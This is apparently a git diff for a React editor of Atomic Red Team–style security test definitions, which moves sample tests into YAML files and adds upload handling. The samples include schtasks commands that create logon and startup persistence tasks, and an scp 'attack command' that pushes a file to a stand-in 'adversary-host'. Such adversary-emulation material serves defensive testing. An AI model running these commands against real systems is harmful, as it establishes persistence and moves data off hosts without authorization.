diff --git a/src/App.jsx b/src/App.jsx index a3bd4f2..47ec9d7 100644 --- a/src/App.jsx +++ b/src/App.jsx @@ -10,7 +10,7 @@ import { red, grey } from '@mui/material/colors'; const executor_names = [ "powershell", - "command prompt", + "command_prompt", "bash", "sh", ]; @@ -131,11 +131,6 @@ function App() { const [darkMode, setDarkMode] = useState(true); const [isPortrait, setIsPortrait] = useState(window.innerHeight > window.innerWidth); const [changed, setChanged] = useState(false); - const [componentVariant, setComponentVariant] = useState('outlined'); - - useEffect(() => { - setComponentVariant(darkMode ? 'outlined' : 'contained'); - }, [darkMode]); // Prevent page reload useEffect(() => { @@ -234,6 +229,7 @@ function App() { { @@ -103,6 +103,7 @@ function Inputs({ darkMode, componentVariant, changed, setChanged, errors, setEr { + const fetchSamples = async () => { + const tests = [] + for (let test of [basic, moderate, complex]) { + let response = await fetch(test); + let yamlText = await response.text(); + let parsed = yaml.load(yamlText); + tests.push({ ...base, ...transformInputArguments(parsed[0]) }); + } + setSamples(tests); + } + fetchSamples(); + }, [base]); + const handleToggle = () => { setOpen((prevOpen) => !prevOpen); }; @@ -32,20 +53,23 @@ export default function InputButtons({ darkMode, setInputs, setChanged, changed setOpen(false); }; + + + const loadSample = async (level) => { if (changed) { const confirm = window.confirm('Are you sure you want to load this sample? Your current inputs will be overwritten.'); if (!confirm) return; } - await setInputs(level); - await setChanged(false); + await setInputs({ ...base, ...samples[level] }); + setChanged(false); handleToggle(null); } return ( @@ -59,8 +83,21 @@ export default function InputButtons({ darkMode, setInputs, setChanged, changed > Load Sample - + + {errorMessage && + + {errorMessage} + + } - loadSample(basic)}> - - - {basic.name} - - - loadSample(moderate)}> - - - {moderate.name} - - - loadSample(complex)}> - - - {complex.name} - - + { + samples.map((sample, index) => ( + loadSample(index)}> + + + {sample.name} + + + )) + } diff --git a/src/components/Inputs/SampleTests.js b/src/components/Inputs/SampleTests.js deleted file mode 100644 index 5849961..0000000 --- a/src/components/Inputs/SampleTests.js +++ /dev/null @@ -1,89 +0,0 @@ -const basic = { - "name": "Hostname Discovery (Windows)", - "description": "Identify system hostname for Windows. Upon execution, the hostname of the device will be displayed.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": [], - "dependency_executor_name": null, - "dependencies": [], - "executor": { - "command": "hostname\n", - "cleanup_command": null, - "name": "command prompt", - "elevation_required": false - } -}; - -const moderate = { - "name": "Scheduled Task Startup Script", - "description": "Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": [], - "dependency_executor_name": null, - "dependencies": [], - "executor": { - "command": "schtasks /create /tn \"T1053_005_OnLogon\" /sc onlogon /tr \"cmd.exe /c calc.exe\"\nschtasks /create /tn \"T1053_005_OnStartup\" /sc onstart /ru system /tr \"cmd.exe /c calc.exe\"\n", - "cleanup_command": "schtasks /delete /tn \"T1053_005_OnLogon\" /f >nul 2>&1\nschtasks /delete /tn \"T1053_005_OnStartup\" /f >nul 2>&1\n", - "name": "command prompt", - "elevation_required": true - } -} - -const complex = { - "name": "Windows push file using scp.exe", - "description": "This test simulates pushing files using SCP on a Windows environment.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": [ - { - "description": "User account to authenticate on remote host", - "default": "adversary", - "type": "string", - "name": "username" - }, - { - "description": "Name of the file to transfer", - "default": "T1105.txt", - "type": "string", - "name": "file_name" - }, - { - "description": "Local path to copy from", - "default": "C:\\temp", - "type": "path", - "name": "local_path" - }, - { - "description": "Remote host to send", - "default": "adversary-host", - "type": "string", - "name": "remote_host" - }, - { - "description": "Path of folder to copy", - "default": "/tmp/", - "type": "path", - "name": "remote_path" - } - ], - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "This test requires the `scp` command to be available on the system.", - "prereq_command": "if (Get-Command scp -ErrorAction SilentlyContinue) {\n Write-Output \"SCP command is available.\"\n exit 0\n} else {\n Write-Output \"SCP command is not available.\"\n exit 1\n}\n", - "get_prereq_command": "# Define the capability name for OpenSSH Client\n$capabilityName = \"OpenSSH.Client~~~~0.0.1.0\"\ntry {\n # Install the OpenSSH Client capability\n Add-WindowsCapability -Online -Name $capabilityName -ErrorAction Stop\n Write-Host \"OpenSSH Client has been successfully installed.\" -ForegroundColor Green\n} catch {\n # Handle any errors that occur during the installation process\n Write-Host \"An error occurred while installing OpenSSH Client: $_\" -ForegroundColor Red\n}\n" - } - ], - "executor": { - "command": "# Check if the folder exists, create it if it doesn't\n$folderPath = \"#{local_path}\"\nif (-Not (Test-Path -Path $folderPath)) {\n New-Item -Path $folderPath -ItemType Directory\n}\n\n# Create the file\n$filePath = Join-Path -Path $folderPath -ChildPath \"#{file_name}\"\nNew-Item -Path $filePath -ItemType File -Force\nWrite-Output \"File created: $filePath\"\n\n# Attack command\nscp.exe #{local_path}\\#{file_name} #{username}@#{remote_host}:#{remote_path}\n", - "cleanup_command": "$filePath = Join-Path -Path \"#{local_path}\" -ChildPath \"#{file_name}\"\nRemove-Item -Path $filePath -Force -erroraction silentlycontinue\nWrite-Output \"File deleted: $filePath\"\n", - "name": "powershell", - "elevation_required": true - } -}; - -export { basic, moderate, complex }; \ No newline at end of file diff --git a/src/components/Inputs/UploadButton.jsx b/src/components/Inputs/UploadButton.jsx index 0c81636..87e7bd1 100644 --- a/src/components/Inputs/UploadButton.jsx +++ b/src/components/Inputs/UploadButton.jsx @@ -1,7 +1,9 @@ -import React, { useState } from 'react'; +import React from 'react'; import { styled } from '@mui/material/styles'; import Button from '@mui/material/Button'; import yaml from 'js-yaml'; +import UploadedAtomicSelection from './UploadedAtomicSelection'; +import transformInputArguments from './transformInputArguments'; const VisuallyHiddenInput = styled('input')({ clip: 'rect(0 0 0 0)', @@ -16,12 +18,18 @@ const VisuallyHiddenInput = styled('input')({ }); - - -export default function UploadButton({ darkMode, setInputs }) { - const [errorMessage, setErrorMessage] = useState(null); +export default function UploadButton({ setChanged, changed, base, darkMode, setInputs, setErrorMessage }) { + const [open, setOpen] = React.useState(false); + const [atomicNames, setAtomicNames] = React.useState([]); + const [techniqueName, setTechniqueName] = React.useState(null); + const [techniqueId, setTechniqueId] = React.useState(null); + const [fileContent, setFileContent] = React.useState(null); const handleFileUpload = async (event) => { + if (changed) { + const confirm = window.confirm('Are you sure you want to load another test? Your current inputs will be overwritten.'); + if (!confirm) return; + } const file = event.target.files[0]; if (file) { const fileExtension = file.name.split('.').pop().toLowerCase(); @@ -31,26 +39,34 @@ export default function UploadButton({ darkMode, setInputs }) { return; } try { - // Dosyayı okuma işlemi - const fileContent = await file.text(); + const content = await file.text(); - // YAML parse işlemi - const parsed = yaml.load(fileContent); - await setInputs(parsed[0]); - - console.log(JSON.stringify(parsed, null, 4)); + const parsed = yaml.load(content); + setFileContent(parsed); + if (parsed.atomic_tests && typeof parsed.atomic_tests === 'object') { + setAtomicNames(parsed.atomic_tests.map(i => i.name)) + setTechniqueName(parsed.display_name); + setTechniqueId(parsed.attack_technique); + setOpen(true); + } else { + setInputs({ ...base, ...transformInputArguments(parsed[0]) }); + } } catch (error) { console.error("Error while file processing the yaml file, check format.", error); + setErrorMessage("Error while file processing the yaml file, check format."); + } finally { + event.target.value = null; + setChanged(false); // // // // // } } }; return ( + ); } diff --git a/src/components/Inputs/UploadedAtomicSelection.jsx b/src/components/Inputs/UploadedAtomicSelection.jsx new file mode 100644 index 0000000..bab1b70 --- /dev/null +++ b/src/components/Inputs/UploadedAtomicSelection.jsx @@ -0,0 +1,37 @@ +import * as React from 'react'; +import List from '@mui/material/List'; +import ListItem from '@mui/material/ListItem'; +import ListItemButton from '@mui/material/ListItemButton'; +import ListItemText from '@mui/material/ListItemText'; +import DialogTitle from '@mui/material/DialogTitle'; +import Dialog from '@mui/material/Dialog'; +import transformInputArguments from './transformInputArguments'; + + +export default function UploadedAtomicSelection({ base, atomicNames, techniqueId, techniqueName, open, setOpen, fileContent, setInputs }) { + + const handleListItemClick = (test_number) => { + setInputs({ ...base, ...transformInputArguments(fileContent.atomic_tests[test_number]) }) + setOpen(false); + }; + + const handleClose = () => { + setOpen(false); + }; + + return ( + + { `${techniqueId} - ${techniqueName}` } + + {atomicNames.map((i, index) => ( + + handleListItemClick(index)}> + + + + + ))} + + + ); +} diff --git a/src/components/Inputs/samples/hostname_discovery_(windows).yaml b/src/components/Inputs/samples/hostname_discovery_(windows).yaml new file mode 100644 index 0000000..ff32c64 --- /dev/null +++ b/src/components/Inputs/samples/hostname_discovery_(windows).yaml @@ -0,0 +1,10 @@ +- name: Hostname Discovery (Windows) + description: | + Identify system hostname for Windows. Upon execution, the hostname of the device will be displayed. + supported_platforms: + - windows + executor: + command: | + hostname + name: command_prompt + elevation_required: false diff --git a/src/components/Inputs/samples/scheduled_task_startup_script.yaml b/src/components/Inputs/samples/scheduled_task_startup_script.yaml new file mode 100644 index 0000000..4110371 --- /dev/null +++ b/src/components/Inputs/samples/scheduled_task_startup_script.yaml @@ -0,0 +1,14 @@ +- name: Scheduled Task Startup Script + description: | + Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane. + supported_platforms: + - windows + executor: + command: | + schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe" + schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe" + cleanup_command: | + schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1 + schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1 + name: command_prompt + elevation_required: true diff --git a/src/components/Inputs/samples/windows_push_file_using_scp.exe.yaml b/src/components/Inputs/samples/windows_push_file_using_scp.exe.yaml new file mode 100644 index 0000000..8128b2d --- /dev/null +++ b/src/components/Inputs/samples/windows_push_file_using_scp.exe.yaml @@ -0,0 +1,69 @@ +- name: Windows push file using scp.exe + description: | + This test simulates pushing files using SCP on a Windows environment. + supported_platforms: + - windows + input_arguments: + username: + type: string + default: adversary + description: User account to authenticate on remote host + file_name: + type: string + default: T1105.txt + description: Name of the file to transfer + local_path: + type: path + default: C:\temp + description: Local path to copy from + remote_host: + type: string + default: adversary-host + description: Remote host to send + remote_path: + type: path + default: /tmp/ + description: Path of folder to copy + dependency_executor_name: powershell + dependencies: + - description: This test requires the `scp` command to be available on the system. + prereq_command: | + if (Get-Command scp -ErrorAction SilentlyContinue) { + Write-Output "SCP command is available." + exit 0 + } else { + Write-Output "SCP command is not available." + exit 1 + } + get_prereq_command: | + # Define the capability name for OpenSSH Client + $capabilityName = "OpenSSH.Client~~~~0.0.1.0" + try { + # Install the OpenSSH Client capability + Add-WindowsCapability -Online -Name $capabilityName -ErrorAction Stop + Write-Host "OpenSSH Client has been successfully installed." -ForegroundColor Green + } catch { + # Handle any errors that occur during the installation process + Write-Host "An error occurred while installing OpenSSH Client: $_" -ForegroundColor Red + } + executor: + command: | + # Check if the folder exists, create it if it doesn't + $folderPath = "#{local_path}" + if (-Not (Test-Path -Path $folderPath)) { + New-Item -Path $folderPath -ItemType Directory + } + + # Create the file + $filePath = Join-Path -Path $folderPath -ChildPath "#{file_name}" + New-Item -Path $filePath -ItemType File -Force + Write-Output "File created: $filePath" + + # Attack command + scp.exe #{local_path}\#{file_name} #{username}@#{remote_host}:#{remote_path} + cleanup_command: | + $filePath = Join-Path -Path "#{local_path}" -ChildPath "#{file_name}" + Remove-Item -Path $filePath -Force -erroraction silentlycontinue + Write-Output "File deleted: $filePath" + name: powershell + elevation_required: true diff --git a/src/components/Inputs/transformInputArguments.js b/src/components/Inputs/transformInputArguments.js new file mode 100644 index 0000000..2385859 --- /dev/null +++ b/src/components/Inputs/transformInputArguments.js @@ -0,0 +1,15 @@ +function transformInputArguments(jsonData) { + if (jsonData.input_arguments && typeof jsonData.input_arguments === 'object') { + const transformedArguments = Object.keys(jsonData.input_arguments).map(key => { + const argument = jsonData.input_arguments[key]; + return { + name: key, + ...argument + }; + }); + jsonData.input_arguments = transformedArguments; + } + return jsonData; +} + +export default transformInputArguments; \ No newline at end of file